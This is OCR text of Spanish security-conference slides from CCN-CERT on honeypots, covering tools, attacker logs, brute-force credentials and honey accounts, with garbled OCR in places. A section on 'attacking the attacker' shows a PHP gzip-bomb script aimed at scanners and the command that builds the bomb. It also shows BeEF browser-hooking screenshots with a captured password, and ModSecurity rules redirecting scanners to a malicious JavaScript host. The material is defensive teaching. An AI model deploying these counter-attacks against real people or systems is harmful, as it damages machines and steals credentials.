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Honeypots: Tracking Hackers
Honeypots for Windows.

Know Your Enemy
Virtual Honeypots
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VIRTUAL
HONEYPOTS

From Botnet Tracking to
Intrusion Detection
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¢Qué es un Honeypot?

Tarro de Miel. | _
Algo jugoso, apetecible pam el atacante.

Un sistema o servicio vulnerable pw@ sto a
dJIJSpG ] ion con un fin concreto.

www.ccn-cert.cni.es
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¢Para qué se emplea un Honeypot?

J

*Desviar la atencion del atacante.
*Detectar y aprender nuevas vulnerabilidades.

*Detectar nuevas muestras de malware que alin no se conozcan.,

www.ccn-cert.cni.es



éClasificacion

*Alta interaccion.
Media interaccion.
*Baja interaccion.

de

X1 JORNADAS STIC CCN-CERT

los Honeypot?
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74

¢Como, cuando, donde, por que?

*Ubicacion.
lds/lps, Waf, entorno real.
*Regeneracion?

www.ccn-cert.cni.es



| ® ® / HoneyDB - Risk Discovery x
j HoneyDB - Risk Discovery x I )
T &

— & C | & Es seguro | https://riskdiscovery.com/honeydb/#haas

(& | & Es seguro | https://riskdiscovery.com/honeydb/#twitter
it Aplicaciones [Jpruiiesridmmeror. || iseegwenSecur... g Destnaaros (T NECERT IR oNETRoTEL. [ D

HoneyDB

i Aplicaciones iy Publicacion nuMero.. || (1SEng ModSecuri... g UesTiatsnos ) WHCER Al L #=0W=PACKA

HoneyDB

Threat Info Honeypots as a Service!

A Twitter list by @foospidy Create, configure and deploy your own honeypots. You must sign in to use HoneyDB HaaS. Go to sign in.

A threat info list based on honeypot sensor tweets

ﬂ-la HoneyFog @HoneyFog
“" Fog44: 114.79.171.134->21. Seel

2 [»

ﬂ-la HoneyFog @HoneyFog
" Fog44; 183.157.186.252->22. I'vg
before.

o [»

0 SoYouCameToVisit @idahohoneypot
IdahoHoneyPot: Shields UP!! #Te
attack from 177.64.196.109
riskdiscovery.com/honeydb/#hosf

2 [»

ﬁ.‘. HoneyFog @HoneyFog
*" Fog44: 123.149.79.65->22. Seen

2 [»

.a.'. HoneyFog @HoneyFog
“" Fog44: 190.113.147.109->5358. {
me.
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coN-cert

entrs criptoldglos moclonal

XI JORNADAS STIC CCN-CERT

—

e
-

T

Serddor

trafico limpio y sucio \ @

www.ccn-cert.cni.es

11



coN-cert

cantrs criptoldglos macional

INTERNET
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EJEMPLO DESVIACION ATENCION

INTERNET
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HONEY_TABLE: LUSERS

-
IF REQUEST = LUSERS THEN ;
REDIRECT HONEYPOT -

Serador

B BLOQUEAR IP

www.ccn-cert.cni.es
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e ¥

Regeneracion.

Nunca conectamos un entorno real al honeypot.

*Honeypot como plantilla maquina virtual.

*Dos discos duros, uno para datos.

*Despliegue en la nube.

*Apagado.Desconexion del disco. Conexion a control. Copiado.
Borrado de maquina virtual.

*Despliegue en la nube

www.ccn-cert.cni.es 14
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Top 10 successful input

The following table displays the top 10 successful commands entered by attackers in the honeypot system.

CSV of all successful commands

S ey o
1 cat /proc/version 344
2 /sbin/ifconfig 344
3 cat /proc/ meminfo 342
4 cat /proc/modules 341
5 free -m 275
b uname 241
7 psx 215
8 echo -n test 203
9 cd /tmp 104
10 Is 157

This vertical bar chart visualizes the top 10 successful commands entered by attackers in the honeypot system.

www.ccn-cert.cni.es
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Total connection attempts from 116.31.116.10: 4945
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I S B S— )

2016-06-03 04:36:27
2016-06-03 04:36:28
2016-06-03 05:58:21

2016-06-03 05:58:22
2016-06-03 07:10:13

2016-06-03 07:10:15

2016-06-03 08:32:01
2016-06-03 08:32:03
2016-06-03 09:45:00
2016-06-03 09:45.01

116

116 5
116.]
116.]
116.]
116.]
116.]
116.]
116.]

116.]

bbab4g7cazo4411e6o555010ad2c7546a
bbgb47cazg4411e60555010adz2c7540a
abbgobog2g5011e60555010ad207546a
obbgobogoggoiiebosssoi0adocys46a
3688434c205a11060555010ad 2075460
3688434c205a11060555010ad 2075468
a4obfz32206511869555010ad2c7546a
a4obf232006511860555010ad2c7546a
d6obi1754206f11060555010ad20c7546a

d6obi1754206f11060555010ad2 075468

root
root
root
root
root
root
root
root
root

123456
@
123456
@
123456
@
123456
@
123456

www.ccn-cert.cni.es
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Total identified IP addresses: 3580
I S I

Guangzhou, China 10643 2016-00-08 18:50:47

Ll

40. United States 8742 NfA 2016-04-11 01:37:47

www.ccn-cert.cni.es
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https://github.com/alexbredo/honeypot-camera

DLINK WEBCAM Management -- Kellys secret webcam
bedroom

www.ccn-cert.cni.es
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https://github.com/gfoss/phpmyadmin_honeypot

Error 1n Processing Request

Error code: 404
Error text: Not Found

;hpMyAdmin

Current Server: | phpMyAdmin - MySQL (root) v
Recent tables) ...

Customer’."Clients’
'CSV_DB'."admin’
“tatcaloaihang’."danhsachloaihang’
“tatcacacloaihang’."danhsachloaihang’
“tatcacacloaihang’."danhachloaihang’
“colegio_el_olivo’."dde_materiasxperiodos’
‘banzai’."TABELA p.Gabruka®
‘user_db’."d’
“information_schema’."PARTITIONS®
“information_schema’ . INNODB_LOCK_WAITS’
a

e cm9vdA== YTE=cm9vdA== YTE=0

al
+ cm9vdA== YWFrcm9vdA== YWF0

aak

www.ccn-cert.cni.es
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http://kinomakino.blogspot.com.es/2013/12/honeypot-firewall-

idp-homemade-con.html

$Honeypot = [System.Net.Sockets.TcpListener][int]$x;

SHoneypot.Start();

#Abre el socket con el puerto indicado en el Textbox

while(Strue)

{

sleep -s 300

#comprueba cada 5minutos si ha habido intento de conexion medlante el log del Flrewall

SlogPath="C:\Windows\System32\LogFiles\Firewall\pfirewall.log"
SblackListPath= "C:\Windows\System32\LogFiles\Firewall\blacklist.txt"
Sblacklist = Get-Content $blackListPath

Sheader=(Select-String -Path $SlogPath -Pattern "*#Fields").Line.Split(" ") | select -Skip 1
Sips=Get-Content $logPath | select -Skip 4 |
ConvertFrom-Csv -Delimiter " " -Header Sheader |

where {$_."dst-port” -eq $x -and $_.path -eq "RECEIVE" -and $blacklist -notcontains $_."src-ip"} |

select -ExpandProperty “src-ip"
Sips

Sips | Add-Content $blacklistPath
foreach (Sip in Sips){

New-NetFirewallRule -DisplayName "Ip Bloqueada $ip" -Direction Inbound -Action Block -RemoteAddress $ip

#si encuentra algun registro contra el puerto indicado, envia un correo.
Ssmtpserver = “smtp.gmail.com”
Smsg = new-object Net.Mail.MailMessage
Ssmtp = new-object Net.Mail.SmtpClient($SsmtpServer )
Ssmtp.EnableSsl = $True

www.ccn-cert.cni.es
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HOREYDRIVE®

BRUTEFORCE .GR
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aph | Fast Visualiz... [Terminal - honeydrive@ho...

Kippo-Graph | Fast Visualization for your Kippo SSH Honeypot Stats - Mozilla Firefox
v History Bookmarks Tools Help

Fast Visualization fo... u

st/kippo-graph/kippo-graph.php v ({;—'} !gv Google

@ Powsrad by
Libchart Top 10 usemame-password combinations

. root/inseguros
W root123456

. . root/oinseguros

www.ccn-cert.cni.es 23
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https://github.com/mushorg/glastopf

(glastopf)
(glastopf)
(glastopf)

(glastopf)
(glastopf)

XI JORNADAS STIC CCN-CERT

requested GET / on 192.168

requested POST /sdk on 192.168.0.138:8080
requested GET / on 192.168.0.138:8080
requested GET /profilemanager/ on 192.168.
requested GET / on 192.168.0.

(glastopf)

requested POST /sdk on 192.168.!

www.ccn-cert.cni.es
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CREATE Exchange Server 2003

ANNOTATE "Microsoft Windows.NET Enterprise Server
(build 3615 beta)"

SET Exchange Server 2003 PERSONALITY "Microsoft
Windows.NET

Enterprise Server (build 3615 beta)"

BIND 10.0.0.1 Exchange Server 2003

#Set portrbehavior

SET DEFAULT Exchange Server 2003 TCP ACTION RESET
SET DEFAULT Exchange Server 2003 UDP ACTION RESET
ADD Exchange Server 2003 UDP PORT 135 BLOCK

ADD Exchange Server 2003 UDP PORT 137 BLOCK

ADD Exchange Server 2003 UDP PORT 138 BLOCK

www.ccn-cert.cni.es 26



http://www.projectnova.org/about/index.html

Default TCP Action wpen (respond with SYN/AC

Default UDP Action \ Closed (respond with ICMP port unreach) [Z|’

X1 JORNADAS STIC CCN-CERT

| ¥ Delete |

Default ICMP Action EVOpen {respond to pings) EH

122 ‘ s

23 | tep [+ : Emulate a service

180 H 7tcp E]; Operil;rliidstab!ish incaming C(:;ﬁnectibns

\%43 ) | tep E]\ "Open: Establish incoming connections E‘\ NA

11900 | tep @l, Open: Estahlish incoming connections [=]|| ma

15000 | tep [=]) | Open: Establish incoming connections

18080 VHitcp E]‘ t: Emulate a sel;vice [il\ \;Uirgawsrhttpd

! ;'-Add New Port |

www.ccn-cert.cni.es
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]7)( Delete |

| X Delete |




coN-cert

cantrs criptoldglos macional

9

hhas,

The "Google Hack" Honeypot

GHHwv.

GHHwv.

GHH.

GHHv1.

GHHv1.

GHHv1.

GHHwv.

GHHV.

GHHwW.

GHHv1.

GHHv1.

GHHv1.

GHHwv.

2_PHPShel_r2l.zip

2_.mdb.zip

2_.sql.zip

2_AlMBuddylist.zip

2_FileUploadManager.zip

2_passlist.txt.zip

Z2_passwd.txt.zip

2 PHPBBInstall.zip

2_PHPFM.zip

2_Phpsysinfo.zip

2_squirrelMail.zip

1.2_Haxplorer.zip

2_PHP_Ping.zip
ni.es
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ghhus

The "Google Hack" Honeypot

@ Borrar

@ Borrar

@ Borrar

@ Borrar

ID Owner Tripped

1

N

ghh

ghh

ghh

ghh

PHPBBINSTALL

PHPBBINSTALL

PHPBBINSTALL

PHPBBINSTALL

Time(

20121

2012-10-16 04:31:41

2012-10-16 04:33:51

2012-10-16 04:34:55

XI JORNADAS STIC CCN-CERT

Deavdvsre Condpanna

Accepts

-

ldownt caligurinee

/install/install_php _installv’install php image/gif&#44

image/jpeg&#44
image/pjpeg&#44
im

finstall/install.php _'installrmstall G magelqifa#d
image/jpeg&#44

image/pjpeg&#44
im

finstall/install_php = http://kinomakino_blogspot.com esf2012_

29
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HoneyBOT -Log 20120927.bin

Sle View ern wts hr—-"‘n
Slafs e s R 20 N
- Ports &
itk o Packet Log (pcanywhere)
?9022 Connection Details: Packet History
1o [Date: 27/0972m2 - Diotion
" § {Time: 8:29:01 : £
1927 IMilisecond: 226 8:29.05 Rt hellol
<1920 |Time Zone: +2:00 8:29207 R 5 i
1921 |Source IP: 192.168.0.110 s B 9 l?::l
1921 Source Port: 43288 i
"1 |ServerIP: 192.168.0.190
Server Port: 22 [pcanywhere]
Protocol: TCP
Bytes Sent: 0
Bytes Received: 11
& TS 3
Packet Data:
View as 1+ text
" hex
=l =l = =
27/09/2012  8:2813 192.168.0.110 50173 192.168.0.190 33 TCP
27/09/2012  8:28:09 192.168.0.110 50173 192.168.0.190 39 TCP
< ;;' e - - : M - 7 B |

www.ccn-cert.cni.es
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ailable templat

https://github.com/mushorg/conpot

-—template ipmi
IPMI -
Create

IPMI

00 CPU with 2
HTTP, MC

the conpo

-—-template
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& Simply Modbus TCP Client 8.0.3 = O X
fods IP Address Roet copy down (%) register#  bytes results notes  clear notes ()
= I | | 4502 | o —
{_ DISCOMNECT ]|  CONNECTED 16bit INT || 40002 E
Slave ID First Register Mo. of Regs 16bit INT || 40003
- 40001 || 4 10 | 16bit INT || 40004

[“]Use defaults | 16bit INT || 40005

function minus offset : : ;
2byteID coge  afrmees Lot it 16bit INT || 40006
] ﬁ[l“__l fj|16 bit reqisters I 16bit INT || 40007
Events || Histary | 16bit INT || 40008
Request 16bit INT || 40009

00 0Z 00 00 OO 06 01 O3 00 OO0 0O QA =
16bit INT || 40010

[Jioad before send
l SEND I response time (seconds) LU ﬂ
Response | ] failin A 50 ] g
~
v [Jsend .
High byte first expected response bytes continuously ~ response time | 0,0 fmax | 0,0 Ctrl-H for
i werd it e T e e b e
00 | Failed 1 min 0,0
§I_J,, | = y Clear (5
[:SAVE CFG) [:RESTORE CFG) [:WRITE] ( ABOUT] I reset(’j) . SAYE BYTES bytes\ﬂ
~N

Z0le/03/22 Z0:30:50 ==> 00 01 0O OO0 00 06 01 03 00 OO0 00 OA

777 New Modbus

32,576 New Modbu

www.ccn-cert.cni.es



STATOIL STATION

DELIVERY REFPORT

IT 1:3UPER
INCREASE

END:
START:
AMOUNT:

GALLONS

TC

GALLONS WATER TEMP DEG F

www.ccn-cert.cni.es

HEIGHT
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"AEUZ01 kino tiene un gran pepino
2520100

120100
03/23/2016 08:35

~ATATOIL STATION

IN-TANK INVENTORY

TANK REODUCT SOLUME TC VOLUME ULLAGE HEIGHT WATER TEMP
1 kKino tiene un gran 3593 3671 3 g« '1.63 3«3
2 eellLELD 5058 5234 'l 6. 35.3. 3.31
3 DIESEL 4591 4686 152 & 57.52 3,72

4 PREMIUHM 6472 6648 1524 5. 54 5.47

www.ccn-cert.cni.es
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10001
tcp

automated-
tank-gauge

I2@1ee
83/23/16 1:47 AM

Rubis

Hewanorra
Service Station
St.Lucia

IN-TANK INVENTORY

TANK PRODUCT
1 Unleaded T1
2 Unleaded T2
3 Diesel

VOLUME TC-VOLUME  ULLAGE

730 2 2276
8009 %) 2200
986 %) 1014

www.ccn-cert.cni.es
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HEIGHT
23.08
24.68
31.52

WATER
@.00
e.008
©.08

TEMP
85.14
85.17
%0.60

37
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Honey Accounts:
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Honey Accounts:
Usuario Windows...
Restriccion horaria de conexion. NUNCA

www.ccn-cert.cni.es
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Logon Hours for Web Senvices
o i -
12: 2-4-E-8-10:=12:-2:-4+«E+8:10:12

Al
Surday
Manday

Tuesday
Wednesdey

Honey Accounts: =

Saturdary

U_S) _rflj@) \A!/IJ[“JdJ@)W/S)JJJ Sunday through Saburday from 12:00 AM fo 12:00 AM

Cancel

l ':.__! Logon Permited

() Logon Denied

»

Restriccion horaria de conexion. NUNCA

www.ccn-cert.cni.es
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Honey Accounts:
Usuario Windows...
e)s"rm@m@n horaria de conexion. NUNCA
Evento especifico para logon denied: 4768 (4625)

www.ccn-cert.cni.es
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fitre criptalbgles naclenal
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¢Para qué se emplea un

J

*Desviar la atencion del atacante.
*Detectar y aprender nuevas vulnerabilidades.

X1 JORNADAS STIC CCN-CERT

Honeypot?

*Detectar nuevas muestras de malware que alin no se conozcan.,

www.ccn-cert.cni.es
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ATACANDO AL ATACANTE



et HackPlayers

Atacando al atacante:
vulnerabilidad RCE en Burp Suite

1.7.27

PUBLICADO POR VICENTE MOTOS ON SABADO, 16 DE
SEPTIEMBRE DE 2017 ETIQUETAS: AMENAZAS ,
HONEYPOTS , VULNERABILIDADES

'NADAS STIC CCN-CERT
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ATACANDO AL ATACANTE

S dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
10240+0 records in

10240+0 records out

10737418240 bytes (11 GB, 10 GiB) copied, 67,6557 s, 159 MB/s

S du -sh 10G.gzip 10M 10G.gzip

www.ccn-cert.cni.es

X1 JORNADAS STIC CCN-CERT

46



CON-

cerr X1 JORNADAS STIC CCN-CERT

cantrs criptoldglos macional

<?php
$agent = lower($_SERVER['HTTP USER AGENT']);

. //check for nikto, sql map or "bad" subfolders which only exist on wordpress .
. if (strpos($agent, 'nikto') !== false || strpos($agent, 'sglmap') !== false || start

{
sendBomb () ;

exit();

'}

function sendBomb() {
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header ("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get level()) ob_end clean();
//send the gzipped file to the client
readfile('10G.gzip');
}

function startsWith($haystack, $needle){
return (substr($haystack,0,strlen(Sneedle)) === $needle);

www.ccn-cert.cni.es
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ATACANDO AL ATACANTE

eEF

www.ccn-cert.cni.es
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THE EROWSER EXPLOITATION FRAMEWORK PROJECT

48



Nginx Balancer

Attacker

Users Counter Hacking gerver /4

Honey Server

www.ccn-cert.cni.es

Normal Servers
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cantrs criptoldglos macional

[ [_7] Browser (53)

&> [ ] Chrome Extensions (6)
> [ Debug (9)

&[] Exploits (78)

= [ Host (22)

s IPEC (9)

[ Metasploit (1)

& [C] Misc (16)

[ Network (19)

i+ | ] Persistence (5)

> (] Phonegap (16)

i |7 Social Engineering (21)

www.ccn-cert.cni.es



BeEF Control Panel - Mozilla Firefox e ®
J BeEF Control Panel x "'-.h-l-
( 4= ) @ | 127.0.0.1:3000/ui/panel c | |Ck Search | o B8 ¥+ & =
[ Most Visited v Jll Offensive Security " Kali Linux “ Kali Docs "% Kali Tools EMExploit-DB W Aircrack-ng
# BeEF 0.470-apha | Submit Bug | Logout
: Hooked Browsers Getting Started i Loges Current Browser
e Getting Started a
4 —] Offline Browsers
459127001 Welcome to BeEF!
? !‘:! = 127.001 Before being able to fully explore the framework you will have to "hook’ a browser. To begin with you can

point & browser towards the basic demo page herel or the advanced version here.

If wou want to hook ANY page (for debugging reasons of course), drag the following bookmarkiet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the "Hooked Browsers” panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simphy left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Main: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent log entries related to this particular hooked browser.

Commands: This tab is where modules can be executed against the hooked browser. This is
where most of the BeEF functionality resides. Most command modules consist of Javascript code
that is executed against the selected Hooked Browser. Command modules are able to perform any
actions that can be achieved through Javascript: for example they may gather information about the
Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities
within the local network of the Hooked Browser.




N _rorr X1 JORNADAS STIC CCN-CERT
GO g|e New to Google Mail?

Signin Google
Username

kinomakino

Password

LI T IT L T ] ]

m (] stay signed in

www.ccn-cert.cni.es
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cantrs criptoldglos macional

- [ S R . | WFTLN AL

Getting Started * || Logs || Current Browser |

Details || Logs || Commands || Rider || XssRays || Ipec || Metwork || WebRTC |

Module Tree Module Results History

Search id « date . . Sun Sep !
O L H e I B ————— 5 data: result=Usermame: kinomakino Password: cacadevacs

[ [_] Browser (53) 0 2017-09-1701:34 [N

i [_] Chrome Extensions (6)

i [~ Debug (9)
I+ [ Exploits (78)

www.ccn-cert.cni.es 53
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Como le paso el java script al
atacante...

MOD SECURITY WAF

SecRule REQUEST _HEADERS:User-Agent "Nikto" "phase:1,id:1,log,redirect:http://MIJAVASSCFRIPTMALOTE.COM"

SecFilterSelective REQUEST_URI “/wp-login.php” log,deny,redirect:http://MIJAVASCRIPTMALOTE.COM
SecDefaultAction

www.ccn-cert.cni.es
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Breves conclusiones

HONEY SYSTEMS: HONEYPOTS

HONEY TOKENS: ELEMENTOS DE UNA TABLA.un user/pass falso
HONEY URLS: ADMIN, ADMINISTRATOR, ROBOTS.TXT

HONEY FILES: NOMINAS.XLS, DESPIDOS.DOC,CLAVES.GZIP

www.ccn-cert.cni.es
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XI JORNADAS STIC CCN-CERT

GRACIAS !

.« JOAQUIN MOLINA @KINOMAKINO
« ESET ESPANA
» KINOMAKINO@HOTMAIL.COM

www.ccn-cert.cni.es
www.ccn-cert.cni.es
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© E-Mails

> Iinfo@ccn-cert.cni.es cuh:cm

centro eriptaldgico naciona

> ccn@cni.es
> sat-inet@ccn-cert.cni.es
> sat-sara@ccn-cert.cni.es

> organismo.certificacion@cni.es

© Websites

>  WWW.CCN.chi.es
>  www.ccn-cert.cni.es

>  WWW.0OC.CCN.Cni.es

© Siguenos en

in A9l

www.ccn-cert.cni.es



